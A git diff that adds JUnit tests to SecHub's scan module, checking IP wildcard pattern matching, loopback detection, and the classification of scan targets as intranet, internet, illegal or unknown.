a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/DividedStringPatternMatcherTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/DividedStringPatternMatcherTest.java new file mode 100644 index 0000000000..55f70be46f --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/DividedStringPatternMatcherTest.java @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import static org.junit.Assert.*; + +import org.junit.Test; + +public class DividedStringPatternMatcherTest { + + @Test + public void test_ipv4_matcher() { + /* prepare*/ + DividedStringPatternMatcher matcherToTest = new DividedStringPatternMatcher("54.*.*.*", '.'); + + /*test */ + + assertFalse(matcherToTest.isMatching("1.2.3")); + assertFalse(matcherToTest.isMatching("1.2.3.4")); + assertFalse(matcherToTest.isMatching("55.2.3.4")); + assertFalse(matcherToTest.isMatching("54")); + assertFalse(matcherToTest.isMatching("")); + assertFalse(matcherToTest.isMatching(null)); + assertFalse(matcherToTest.isMatching("54.2.3.")); + + assertTrue(matcherToTest.isMatching("54.2.3.4")); + assertTrue(matcherToTest.isMatching("54.2.3.255")); + assertTrue(matcherToTest.isMatching("54.255.255.255")); + + } + + @Test + public void test_ipv6_matcher() { + /* prepare*/ + DividedStringPatternMatcher matcherToTest = new DividedStringPatternMatcher("2001:DB8:0:0:8:800:200C:*", ':'); + + /*test */ + assertFalse(matcherToTest.isMatching("2002:db8:0:0:8:800:200C:417A")); + assertFalse(matcherToTest.isMatching("0:::417A")); + assertFalse(matcherToTest.isMatching("2001:DB8:0:0:8:800:200C:")); + assertFalse(matcherToTest.isMatching("2001:DB8::8:800:200C:417A")); // short form is not supported + + assertTrue(matcherToTest.isMatching("2001:DB8:0:0:8:800:200C:417A")); + assertTrue(matcherToTest.isMatching("2001:DB8:0:0:8:800:200C:417B")); + } + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/IPv4PatternTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/IPv4PatternTest.java new file mode 100644 index 0000000000..70bf5c3156 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/IPv4PatternTest.java @@ -0,0 +1,62 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import static org.junit.Assert.*; + +import java.net.Inet4Address; + +import org.junit.Test; + +public class IPv4PatternTest { + + @Test + public void test_valid_pattern_no_asterisk() throws Exception{ + IPv4Pattern pattern = new IPv4Pattern("192.168.178.2"); + assertTrue(pattern.isValid()); + assertTrue(pattern.isMatching(Inet4Address.getByAddress(bytes(192,168,178,2)))); + assertFalse(pattern.isMatching(Inet4Address.getByAddress(bytes(192,168,178,3)))); + } + @Test + public void test_valid_pattern_last_part_asterisk() throws Exception{ + IPv4Pattern pattern = new IPv4Pattern("192.168.178.*"); + assertTrue(pattern.isValid()); + assertTrue(pattern.isMatching(Inet4Address.getByAddress(bytes(192,168,178,1)))); + assertTrue(pattern.isMatching(Inet4Address.getByAddress(bytes(192,168,178,254)))); + + assertFalse(pattern.isMatching(Inet4Address.getByAddress(bytes(192,168,179,1)))); + assertFalse(pattern.isMatching(Inet4Address.getByAddress(bytes(192,168,179,254)))); + assertFalse(pattern.isMatching(Inet4Address.getByAddress(bytes(255,255,255,255)))); + } + @Test + public void test_valid_pattern_last_three_parts_asterisk() throws Exception{ + IPv4Pattern pattern = new IPv4Pattern("54.*.*.*"); + assertTrue(pattern.isValid()); + assertTrue(pattern.isMatching(Inet4Address.getByAddress(bytes(54,168,178,1)))); + assertTrue(pattern.isMatching(Inet4Address.getByAddress(bytes(54,254,171,254)))); + + assertFalse(pattern.isMatching(Inet4Address.getByAddress(bytes(53,168,179,1)))); + assertFalse(pattern.isMatching(Inet4Address.getByAddress(bytes(192,168,179,254)))); + assertFalse(pattern.isMatching(Inet4Address.getByAddress(bytes(255,255,255,255)))); + } + + @Test + public void test_invalid_pattern_wrong_number() throws Exception{ + IPv4Pattern pattern = new IPv4Pattern("256.168.178.*"); + assertFalse(pattern.isValid()); + } + @Test + public void test_invalid_pattern_wrong_amount() throws Exception{ + IPv4Pattern pattern = new IPv4Pattern("253.168.178"); + assertFalse(pattern.isValid()); + } + + private static byte[] bytes(int ...bytes) { + byte[] result = new byte[bytes.length]; + int p = 0; + for (int i: bytes) { + result[p++]=(byte)i; + } + return result; + } + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/IPv6PatternTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/IPv6PatternTest.java new file mode 100644 index 0000000000..2837517c56 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/IPv6PatternTest.java @@ -0,0 +1,57 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import static org.junit.Assert.*; + +import java.net.Inet6Address; + +import org.junit.Test; + +public class IPv6PatternTest { + + @Test + public void valid_ipv6_pattern_last_part_asterisk() throws Exception{ + IPv6Pattern pattern = new IPv6Pattern("2001:db8:0:0:0:0:2:*"); + + assertTrue(pattern.isValid()); + + assertTrue(pattern.isMatching(Inet6Address.getByName("2001:db8:0:0:0:0:2:1"))); + assertTrue(pattern.isMatching(Inet6Address.getByName("2001:db8:0:0:0:0:2:ffff"))); + + assertFalse(pattern.isMatching(Inet6Address.getByName("2001:db8:0:0:0:0:3:1"))); + assertFalse(pattern.isMatching(Inet6Address.getByName("2002:db8:0:0:0:0:2:1"))); + assertFalse(pattern.isMatching(Inet6Address.getByName("2002:db8:0:0:0:0:2:ffff"))); + } + + @Test + public void valid_ipv6_pattern_last_two_part_asterisk() throws Exception{ + IPv6Pattern pattern = new IPv6Pattern("2001:db8:0:0:0:0:*:*"); + + assertTrue(pattern.isValid()); + + assertTrue(pattern.isMatching(Inet6Address.getByName("2001:db8:0:0:0:0:2:1"))); + assertTrue(pattern.isMatching(Inet6Address.getByName("2001:db8:0:0:0:0:2:ffff"))); + assertTrue(pattern.isMatching(Inet6Address.getByName("2001:db8:0:0:0:0:3:1"))); + assertTrue(pattern.isMatching(Inet6Address.getByName("2001:db8:0:0:0:0:ffff:1"))); + + assertFalse(pattern.isMatching(Inet6Address.getByName("2002:db8:0:0:0:0:2:1"))); + assertFalse(pattern.isMatching(Inet6Address.getByName("2002:db8:0:0:0:0:2:ffff"))); + } + + @Test + public void valid_ipv6_pattern_because_not_8_dividers_is_invalid() throws Exception{ + IPv6Pattern pattern = new IPv6Pattern("2001:db8:0:0:0:0:*"); + + assertFalse(pattern.isValid()); + + } + + @Test + public void valid_ipv6_pattern_because_number_too_big_is_invalid() throws Exception{ + IPv6Pattern pattern = new IPv6Pattern("10000:db8:0:0:0:0:*:*"); + + assertFalse(pattern.isValid()); + + } + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/IllegalInetAddressTargetDetectorTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/IllegalInetAddressTargetDetectorTest.java new file mode 100644 index 0000000000..75861a0f03 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/IllegalInetAddressTargetDetectorTest.java @@ -0,0 +1,69 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import java.net.InetAddress; + +import org.junit.Before; +import org.junit.Test; + +public class IllegalInetAddressTargetDetectorTest { + + private IllegalInetAddressTargetDetector detectorToTest; + + private LoopbackAddressFinder loopBackFinder; + + @Before + public void before() throws Exception { + detectorToTest = new IllegalInetAddressTargetDetector(); + loopBackFinder = mock(LoopbackAddressFinder.class); + detectorToTest.loopbackfinder=loopBackFinder; + } + + @Test + public void null_is_always_illegal() { + detectorToTest.loopbackfinder=null; // to ensure finder is not used... + assertTrue(detectorToTest.isIllegal(null)); + } + + @Test + public void loopbacks_are_illegal() { + /* prepare */ + InetAddress address = mock(InetAddress.class); + when(address.getHostAddress()).thenReturn("127.0.0.1"); + + when(loopBackFinder.isLoopback(address)).thenReturn(true); + + /* test */ + assertIllegal(address); + verify(loopBackFinder,atLeast(1)).isLoopback(address); + } + + @Test + public void non_loopbacks_are_legal() { + /* prepare */ + InetAddress address = mock(InetAddress.class); + when(address.getHostAddress()).thenReturn("198.178.2.3"); + + when(loopBackFinder.isLoopback(address)).thenReturn(false); + + /* test */ + assertLegal(address); + verify(loopBackFinder,atLeast(1)).isLoopback(address); + } + + + private void assertLegal(InetAddress ip) { + common_assertIllegal(ip, false); + } + + private void assertIllegal(InetAddress ip) { + common_assertIllegal(ip, true); + } + private void common_assertIllegal(InetAddress ip, boolean illegal) { + boolean result = detectorToTest.isIllegal(ip); + assertEquals(ip.toString(), illegal,result); + } +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/IllegalURItargetDetectorTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/IllegalURItargetDetectorTest.java new file mode 100644 index 0000000000..d07af2f0bf --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/IllegalURItargetDetectorTest.java @@ -0,0 +1,70 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import java.net.URI; + +import org.junit.Before; +import org.junit.Test; + +public class IllegalURItargetDetectorTest { + + private IllegalURItargetDetector detectorToTest; + private LoopbackAddressFinder loopBackFinder; + + @Before + public void before() throws Exception { + detectorToTest = new IllegalURItargetDetector(); + loopBackFinder = mock(LoopbackAddressFinder.class); + detectorToTest.loopbackfinder=loopBackFinder; + } + + @Test + public void null_is_always_illegal() { + detectorToTest.loopbackfinder=null; // to ensure finder is not used... + assertTrue(detectorToTest.isIllegal(null)); + } + + @Test + public void loopbacks_are_illegal() { + /* prepare */ + when(loopBackFinder.isLoopback("localhost")).thenReturn(true); + + /* test */ + assertIllegal("localhost"); + verify(loopBackFinder,atLeast(1)).isLoopback(eq("localhost")); + } + + @Test + public void non_loopbacks_are_legal() { + /* prepare */ + when(loopBackFinder.isLoopback("example.com")).thenReturn(false); + + /* test */ + assertLegal("example.com"); + verify(loopBackFinder,atLeast(1)).isLoopback("example.com"); + } + + + private void assertLegal(String hostname) { + common_assertIllegal(hostname, false); + } + + private void assertIllegal(String hostname) { + common_assertIllegal(hostname, true); + } + private void common_assertIllegal(String hostname, boolean illegal) { + common_assertIllegalURI(illegal,"sftp://"+hostname); + common_assertIllegalURI(illegal,"http://"+hostname+"/index.thml"); + common_assertIllegalURI(illegal,"https://"+hostname+"/somewhere/over/the/rainbow"); + common_assertIllegalURI(illegal,"ftp://"+hostname+"/somewhere/else"); + } + + private void common_assertIllegalURI(boolean illegal, String uri) { + boolean result = detectorToTest.isIllegal(URI.create(uri)); + assertEquals(uri, illegal,result); + } +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/IntraneIPpatternResolveStrategyTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/IntraneIPpatternResolveStrategyTest.java new file mode 100644 index 0000000000..3b35a63b3a --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/IntraneIPpatternResolveStrategyTest.java @@ -0,0 +1,98 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import static org.junit.Assert.*; + +import java.net.Inet6Address; +import java.net.InetAddress; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.domain.scan.Target; +import com.daimler.sechub.domain.scan.TargetType; + +public class IntraneIPpatternResolveStrategyTest { + + private static InetAddress INET_6_ADR1; + private static InetAddress INET_6_ADR2; + private static InetAddress INET_4_ADR1; + private static InetAddress INET_4_ADR2; + static { + try { + INET_6_ADR1 = Inet6Address.getByName("2001:CA52:0:0:8:800:200C:417A"); + INET_6_ADR2 = Inet6Address.getByName("2001:DB9:0:0:8:800:200C:417A"); + + INET_4_ADR1 = Inet6Address.getByName("192.168.178.2"); + INET_4_ADR2 = Inet6Address.getByName("54.3.2.27"); + } catch (Exception e) { + throw new RuntimeException(); + } + } + private IntranetIPpatternResolveStrategy strategyToTest; + + @Before + public void before() { + strategyToTest = new IntranetIPpatternResolveStrategy(); + } + + @Test + public void initialize_returned_result_as_expected() { + assertTrue(strategyToTest.initialize("intranet-ip-pattern:xxx")); + assertTrue(strategyToTest.initialize("intranet-ip-pattern: xxx")); + assertTrue(strategyToTest.initialize("intranet-ip-pattern: xxx,yyy")); + + assertFalse(strategyToTest.initialize("")); + assertFalse(strategyToTest.initialize(null)); + assertFalse(strategyToTest.initialize("xxx,yyy")); + assertFalse(strategyToTest.initialize("ends-with xxx,yyy")); + assertFalse(strategyToTest.initialize(" intranet-ip-pattern:xxx")); + + assertFalse(strategyToTest.initialize("intranet-ip-pattern:")); + + } + + @Test + public void intranet_inet6_adr1_matching_pattern_used() throws Exception { + + /* execute */ + strategyToTest.initialize("intranet-ip-pattern:2001:CA52:*:*:*:*:*:*"); + + /* test */ + assertEquals(new Target(INET_6_ADR1, TargetType.INTRANET), strategyToTest.resolveTargetFor(INET_6_ADR1)); + + assertEquals(new Target(INET_6_ADR2, TargetType.INTERNET), strategyToTest.resolveTargetFor(INET_6_ADR2)); + assertEquals(new Target(INET_4_ADR1, TargetType.INTERNET), strategyToTest.resolveTargetFor(INET_4_ADR1)); + assertEquals(new Target(INET_4_ADR2, TargetType.INTERNET), strategyToTest.resolveTargetFor(INET_4_ADR2)); + } + + @Test + public void intranet_inet6_adr1_and_adr2_matching_pattern_used() throws Exception { + + /* execute */ + strategyToTest.initialize("intranet-ip-pattern:2001:CA52:*:*:*:*:*:*,2001:DB9:0:0:8:800:200C:*"); + + /* test */ + assertEquals(new Target(INET_6_ADR1, TargetType.INTRANET), strategyToTest.resolveTargetFor(INET_6_ADR1)); + assertEquals(new Target(INET_6_ADR2, TargetType.INTRANET), strategyToTest.resolveTargetFor(INET_6_ADR2)); + + assertEquals(new Target(INET_4_ADR1, TargetType.INTERNET), strategyToTest.resolveTargetFor(INET_4_ADR1)); + assertEquals(new Target(INET_4_ADR2, TargetType.INTERNET), strategyToTest.resolveTargetFor(INET_4_ADR2)); + } + + @Test + public void intranet_inet4_adr1_and_inet6_adr2_matching_pattern_used() throws Exception { + + /* execute */ + strategyToTest.initialize("intranet-ip-pattern:192.168.178.*,2001:DB9:0:0:8:800:200C:*"); + + /* test */ + assertEquals(new Target(INET_4_ADR1, TargetType.INTRANET), strategyToTest.resolveTargetFor(INET_4_ADR1)); + assertEquals(new Target(INET_6_ADR2, TargetType.INTRANET), strategyToTest.resolveTargetFor(INET_6_ADR2)); + + assertEquals(new Target(INET_6_ADR1, TargetType.INTERNET), strategyToTest.resolveTargetFor(INET_6_ADR1)); + assertEquals(new Target(INET_4_ADR2, TargetType.INTERNET), strategyToTest.resolveTargetFor(INET_4_ADR2)); + } + + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/IntranetEndsWithURITargetResolveStrategyTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/IntranetEndsWithURITargetResolveStrategyTest.java new file mode 100644 index 0000000000..a46130be05 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/IntranetEndsWithURITargetResolveStrategyTest.java @@ -0,0 +1,86 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import static org.junit.Assert.*; + +import java.net.URI; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.domain.scan.Target; +import com.daimler.sechub.domain.scan.TargetType; +import com.daimler.sechub.domain.scan.resolve.IntranetEndsWithURITargetResolveStrategy; + +public class IntranetEndsWithURITargetResolveStrategyTest { + private static URI URI_EMPTY = URI.create(""); + private static URI URI_HTTPS_EXAMPLE_ORG=URI.create("https://www.example.org"); + private static URI URI_HTTP_SOMEWHERE_INTX_EXAMPLE_COM = URI.create("http://somewhere.intx.example.com"); + private static URI URI_FTP_SOMEWHERE_INTX_EXAMPLE_COM = URI.create("ftp://somewhere.intx.example.com"); + private static URI URI_HTTPS_SOMEWHERE_INTRANET_EXAMPLE_ORG =URI.create("https://somewhere.intranet.example.org"); + private static URI URI_HTTPS_SOMEWHERE_INTRANET_EXAMPLE_ORG_PORT_1234=URI.create("https://somewhere.intranet.example.org:1234"); + private static URI URI_HTTPS_SOMEWHERE_INTRANET_EXAMPLE_ORG_PORT_1234_WITH_PATH = URI.create("https://somewhere.intranet.example.org:1234/myapplication/web/NAV/client.aspx"); + + private IntranetEndsWithURITargetResolveStrategy strategyToTest; + + @Before + public void before() { + strategyToTest = new IntranetEndsWithURITargetResolveStrategy(); + } + + @Test + public void healthcheck() { + assertNotNull(URI_EMPTY); + } + + @Test + public void initialize_returned_result_as_expected() { + assertTrue(strategyToTest.initialize("intranet-hostname-ends-with:xxx")); + assertTrue(strategyToTest.initialize("intranet-hostname-ends-with: xxx")); + assertTrue(strategyToTest.initialize("intranet-hostname-ends-with: xxx,yyy")); + + assertFalse(strategyToTest.initialize("")); + assertFalse(strategyToTest.initialize(null)); + assertFalse(strategyToTest.initialize("xxx,yyy")); + assertFalse(strategyToTest.initialize("ends-with xxx,yyy")); + assertFalse(strategyToTest.initialize(" intranet-hostname-ends-with:xxx")); + + assertFalse(strategyToTest.initialize("intranet-hostname-ends-with:")); + + } + + @Test + public void intranet_example_org_only() throws Exception{ + + /* execute */ + strategyToTest.initialize("intranet-hostname-ends-with:intranet.example.org"); + + /* test */ + assertEquals(new Target(URI_EMPTY,TargetType.UNKNOWN), strategyToTest.resolveTargetFor(URI_EMPTY)); + assertEquals(new Target(URI_HTTPS_EXAMPLE_ORG,TargetType.INTERNET), strategyToTest.resolveTargetFor(URI_HTTPS_EXAMPLE_ORG)); + assertEquals(new Target(URI_HTTPS_SOMEWHERE_INTRANET_EXAMPLE_ORG,TargetType.INTRANET), strategyToTest.resolveTargetFor(URI_HTTPS_SOMEWHERE_INTRANET_EXAMPLE_ORG)); + assertEquals(new Target(URI_HTTPS_SOMEWHERE_INTRANET_EXAMPLE_ORG_PORT_1234,TargetType.INTRANET), strategyToTest.resolveTargetFor(URI_HTTPS_SOMEWHERE_INTRANET_EXAMPLE_ORG_PORT_1234)); + assertEquals(new Target(URI_HTTPS_SOMEWHERE_INTRANET_EXAMPLE_ORG_PORT_1234_WITH_PATH,TargetType.INTRANET), strategyToTest.resolveTargetFor(URI_HTTPS_SOMEWHERE_INTRANET_EXAMPLE_ORG_PORT_1234_WITH_PATH)); + + assertEquals(new Target(URI_HTTP_SOMEWHERE_INTX_EXAMPLE_COM,TargetType.INTERNET), strategyToTest.resolveTargetFor(URI_HTTP_SOMEWHERE_INTX_EXAMPLE_COM)); + assertEquals(new Target(URI_FTP_SOMEWHERE_INTX_EXAMPLE_COM,TargetType.INTERNET), strategyToTest.resolveTargetFor(URI_FTP_SOMEWHERE_INTX_EXAMPLE_COM)); + } + + @Test + public void intranet_example_org__and_intx_example_com() throws Exception{ + + /* execute */ + strategyToTest.initialize("intranet-hostname-ends-with:intranet.example.org, intx.example.com"); + + /* test */ + assertEquals(new Target(URI_EMPTY,TargetType.UNKNOWN), strategyToTest.resolveTargetFor(URI_EMPTY)); + assertEquals(new Target(URI_HTTPS_EXAMPLE_ORG,TargetType.INTERNET), strategyToTest.resolveTargetFor(URI_HTTPS_EXAMPLE_ORG)); + assertEquals(new Target(URI_HTTPS_SOMEWHERE_INTRANET_EXAMPLE_ORG,TargetType.INTRANET), strategyToTest.resolveTargetFor(URI_HTTPS_SOMEWHERE_INTRANET_EXAMPLE_ORG)); + assertEquals(new Target(URI_HTTPS_SOMEWHERE_INTRANET_EXAMPLE_ORG_PORT_1234,TargetType.INTRANET), strategyToTest.resolveTargetFor(URI_HTTPS_SOMEWHERE_INTRANET_EXAMPLE_ORG_PORT_1234)); + + assertEquals(new Target(URI_HTTP_SOMEWHERE_INTX_EXAMPLE_COM,TargetType.INTRANET), strategyToTest.resolveTargetFor(URI_HTTP_SOMEWHERE_INTX_EXAMPLE_COM)); + assertEquals(new Target(URI_FTP_SOMEWHERE_INTX_EXAMPLE_COM,TargetType.INTRANET), strategyToTest.resolveTargetFor(URI_FTP_SOMEWHERE_INTX_EXAMPLE_COM)); + + } + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/LoopbackAddressFinderTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/LoopbackAddressFinderTest.java new file mode 100644 index 0000000000..c94232f211 --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/LoopbackAddressFinderTest.java @@ -0,0 +1,91 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import static org.junit.Assert.*; + +import org.junit.Before; +import org.junit.Test; + +public class LoopbackAddressFinderTest { + + private LoopbackAddressFinder detectorToTest; + + @Before + public void before() throws Exception { + detectorToTest = new LoopbackAddressFinder(); + } + + @Test + public void _null() { + assertNotLoopback(""); + } + @Test + public void empty() { + assertNotLoopback(""); + assertNotLoopback(" "); + } + + @Test + public void localhost() { + assertIsLoopback("localhost"); + } + + @Test + public void example_org_is_legal() { + assertNotLoopback("example.org"); + assertNotLoopback("www.example.org"); + } + + @Test + public void example_com_is_legal() { + assertNotLoopback("example.com"); + assertNotLoopback("www.example.com"); + } + + @Test + public void IPv4_adress_not_being_loopback_is_legal() { + assertNotLoopback("192.168.178.1"); + } + + @Test + public void IPv6_adress_not_being_loopback_is_legal() { + /* + * From: https://www.ietf.org/rfc/rfc2732.txt + * "To use a literal IPv6 address in a URL, the literal address should be + * enclosed in "[" and "]" characters." + */ + assertNotLoopback("[2001:DB8:0:0:8:800:200C:417A]"); + } + + @Test + public void IPv4_loopback() { + assertIsLoopback("127.0.0.1"); + assertIsLoopback("127.255.255.254"); + } + + @Test + public void IPv6_loopback() { + /* + * From: https://www.ietf.org/rfc/rfc2732.txt + * "To use a literal IPv6 address in a URL, the literal address should be + * enclosed in "[" and "]" characters." + */ + assertIsLoopback("[::1]"); + assertIsLoopback("[0:0:0:0:0:0:0:1]"); + } + + + private void assertNotLoopback(String address) { + common_assert_loopback(address, false); + } + + private void assertIsLoopback(String address) { + common_assert_loopback(address, true); + } + + private void common_assert_loopback(String address, boolean illegal) { + boolean result = detectorToTest.isLoopback(address); + assertEquals(address, illegal,result); + } + +} diff --git a/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/TargetResolverServiceTest.java b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/TargetResolverServiceTest.java new file mode 100644 index 0000000000..f9eb42cb1f --- /dev/null +++ b/sechub-scan/src/test/java/com/daimler/sechub/domain/scan/resolve/TargetResolverServiceTest.java @@ -0,0 +1,229 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.domain.scan.resolve; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import java.net.Inet4Address; +import java.net.InetAddress; +import java.net.URI; +import java.util.ArrayList; +import java.util.List; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.domain.scan.Target; +import com.daimler.sechub.domain.scan.TargetType; + +public class TargetResolverServiceTest { + + @Test + public void no_strategies_defined_uri_resolved_as_INTRANET() { + /* prepare */ + serviceToTest.definedUriStrategy = null; + serviceToTest.definedInetAddressStrategy = null; + URI uri = URI.create("https://productfailure.demo.example.org"); + + /* execute */ + Target found = serviceToTest.resolveTarget(uri); + + /* test */ + assertEquals(new Target(uri,TargetType.INTERNET),found); + } + + @Test + public void no_strategies_set_uri_resolved_as_INTRANET() { + /* prepare */ + + // simulate no strategies found, so jut new instance: + serviceToTest = new TargetResolverService(); + // prepare defined strategies, so wrong configured...*/ + prepareDefinedStrategies(); + + URI uri = URI.create("https://productfailure.demo.example.org"); + + /* execute */ + Target found = serviceToTest.resolveTarget(uri); + + /* test */ + assertEquals(new Target(uri,TargetType.INTERNET),found); + + } + + + @Test + public void no_strategies_defined_ip_resolved_as_INTRANET() throws Exception{ + /* prepare */ + serviceToTest.definedUriStrategy = null; + serviceToTest.definedInetAddressStrategy = null; + /* prepare */ + InetAddress address = Inet4Address.getByName("172.217.22.99"); + + /* execute */ + Target found = serviceToTest.resolveTarget(address); + + /* test */ + assertEquals(new Target(address,TargetType.INTERNET),found); + } + + @Test + public void no_strategies_set_ip_resolved_as_INTRANET() throws Exception { + /* prepare */ + + // simulate no strategies found, so jut new instance: + serviceToTest = new TargetResolverService(); + // prepare defined strategies, so wrong configured...*/ + prepareDefinedStrategies(); + + /* prepare */ + InetAddress address = Inet4Address.getByName("172.217.22.99"); + + /* execute */ + Target found = serviceToTest.resolveTarget(address); + + /* test */ + assertEquals(new Target(address,TargetType.INTERNET),found); + + } + + @Test + public void null_URI_is_resolved_as_unknown_without_strategy_call() throws Exception { + /* null always handled by fallback strategy as unknown */ + assertEquals(new Target((URI) null, TargetType.UNKNOWN), serviceToTest.resolveTarget((URI) null)); + + verify(uriTestStrategy1, never()).resolveTargetFor(any()); + } + + @Test + public void null_IP_address_is_resolved_as_unknown_without_strategy_call() throws Exception { + assertEquals(new Target((InetAddress) null, TargetType.UNKNOWN), serviceToTest.resolveTarget((InetAddress) null)); + verify(ipTestStrategy1, never()).resolveTargetFor(any()); + } + + @Test + public void when_illegal_uri_target_detector_denies_uri_it_returns_target_but_illegal() throws Exception { + /* prepare */ + URI uri = URI.create("illegal.example.com"); + when(illegalURITargetDetector.isIllegal(uri)).thenReturn(true); + + /* test */ + assertEquals(new Target(uri, TargetType.ILLEGAL), serviceToTest.resolveTarget(uri)); + verify(illegalURITargetDetector).isIllegal(uri); + } + + @Test + public void when_illegal_ip_target_detector_denies_ip_it_returns_target_but_illegal() throws Exception { + + /* prepare */ + InetAddress inetAddress = mock(InetAddress.class); + when(illegalInetAdressTargetDetector.isIllegal(inetAddress)).thenReturn(true); + + /* execute + test */ + assertEquals(new Target(inetAddress, TargetType.ILLEGAL), serviceToTest.resolveTarget(inetAddress)); + + } + + @Test + public void inetaddress_strategy_result_is_used_as_result() throws Exception { + /* execute + test */ + + assertEquals(inetAddressTarget1, serviceToTest.resolveTarget(mock(InetAddress.class))); + } + + @Test + public void uri_strategy_result_is_used_as_result() throws Exception { + /* execute + test */ + assertEquals(uriTarget1, serviceToTest.resolveTarget(URI.create("https://example.com"))); + } + + @Test + public void path_always_resolved_as_code() throws Exception { + assertEquals(new Target("x", TargetType.CODE_UPLOAD), serviceToTest.resolveTargetForPath("x")); + } + /* ++++++++++++++++++++++++++++++++++++++++++++++++++++ */ + /* + ................Helpers......................... + */ + /* ++++++++++++++++++++++++++++++++++++++++++++++++++++ */ + + private TargetResolverService serviceToTest; + + private URITargetResolveStrategy uriTestStrategy1; + private URITargetResolveStrategy uriTestStrategy2; + private Target uriTarget1; + + private IllegalInetAddressTargetDetector illegalInetAdressTargetDetector; + private IllegalURItargetDetector illegalURITargetDetector; + + private InetAdressTargetResolveStrategy ipTestStrategy1; + private InetAdressTargetResolveStrategy ipTestStrategy2; + private Target inetAddressTarget1; + + + @Before + public void before() throws Exception { + List inetAddressTargetResolveStrategies = new ArrayList<>(); + List uriAddressTargetResolveStrategies = new ArrayList<>(); + + /* detectors for illegal targets */ + illegalInetAdressTargetDetector = mock(IllegalInetAddressTargetDetector.class); + illegalURITargetDetector = mock(IllegalURItargetDetector.class); + + prepareURIStrategies(uriAddressTargetResolveStrategies); + prepareIPStrategies(inetAddressTargetResolveStrategies); + + serviceToTest = new TargetResolverService(); + serviceToTest.illegalInetAddressTargetDetector= + illegalInetAdressTargetDetector; + serviceToTest.illegalURItargetDetector= + illegalURITargetDetector; + serviceToTest.uriTargetResolveStrategies= + uriAddressTargetResolveStrategies; + serviceToTest.inetAddressTargetResolveStrategies = inetAddressTargetResolveStrategies; + + prepareDefinedStrategies(); + } + + private void prepareDefinedStrategies() { + serviceToTest.definedUriStrategy = "uri-test-strategy-1"; // we use always "1" + serviceToTest.definedInetAddressStrategy = "ip-test-strategy-1";// we use always "1" + } + + private void prepareIPStrategies(List inetAddressTargetResolveStrategies) { + + /* inet inetAddress test strategies */ + ipTestStrategy1 = mock(InetAdressTargetResolveStrategy.class); + ipTestStrategy2 = mock(InetAdressTargetResolveStrategy.class); + + inetAddressTarget1 = mock(Target.class); + + when(ipTestStrategy1.initialize("ip-test-strategy-1")).thenReturn(true); + when(ipTestStrategy1.resolveTargetFor(any())).thenReturn(inetAddressTarget1); + + when(ipTestStrategy2.initialize("ip-test-strategy-2")).thenReturn(true); + when(ipTestStrategy2.resolveTargetFor(any())).thenReturn(null); + + inetAddressTargetResolveStrategies.add(ipTestStrategy1); + inetAddressTargetResolveStrategies.add(ipTestStrategy2); + + } + + private void prepareURIStrategies(List uriAddressTargetResolveStrategies) { + /* uri test strategies */ + uriTestStrategy1 = mock(URITargetResolveStrategy.class); + uriTestStrategy2 = mock(URITargetResolveStrategy.class); + + uriTarget1 = mock(Target.class); + + when(uriTestStrategy1.initialize("uri-test-strategy-1")).thenReturn(true); + when(uriTestStrategy1.resolveTargetFor(any())).thenReturn(uriTarget1); + + when(uriTestStrategy2.initialize("uri-test-strategy-2")).thenReturn(true); + when(uriTestStrategy2.resolveTargetFor(any())).thenReturn(null); + + uriAddressTargetResolveStrategies.add(uriTestStrategy1); + uriAddressTargetResolveStrategies.add(uriTestStrategy2); + } + + +} diff --git 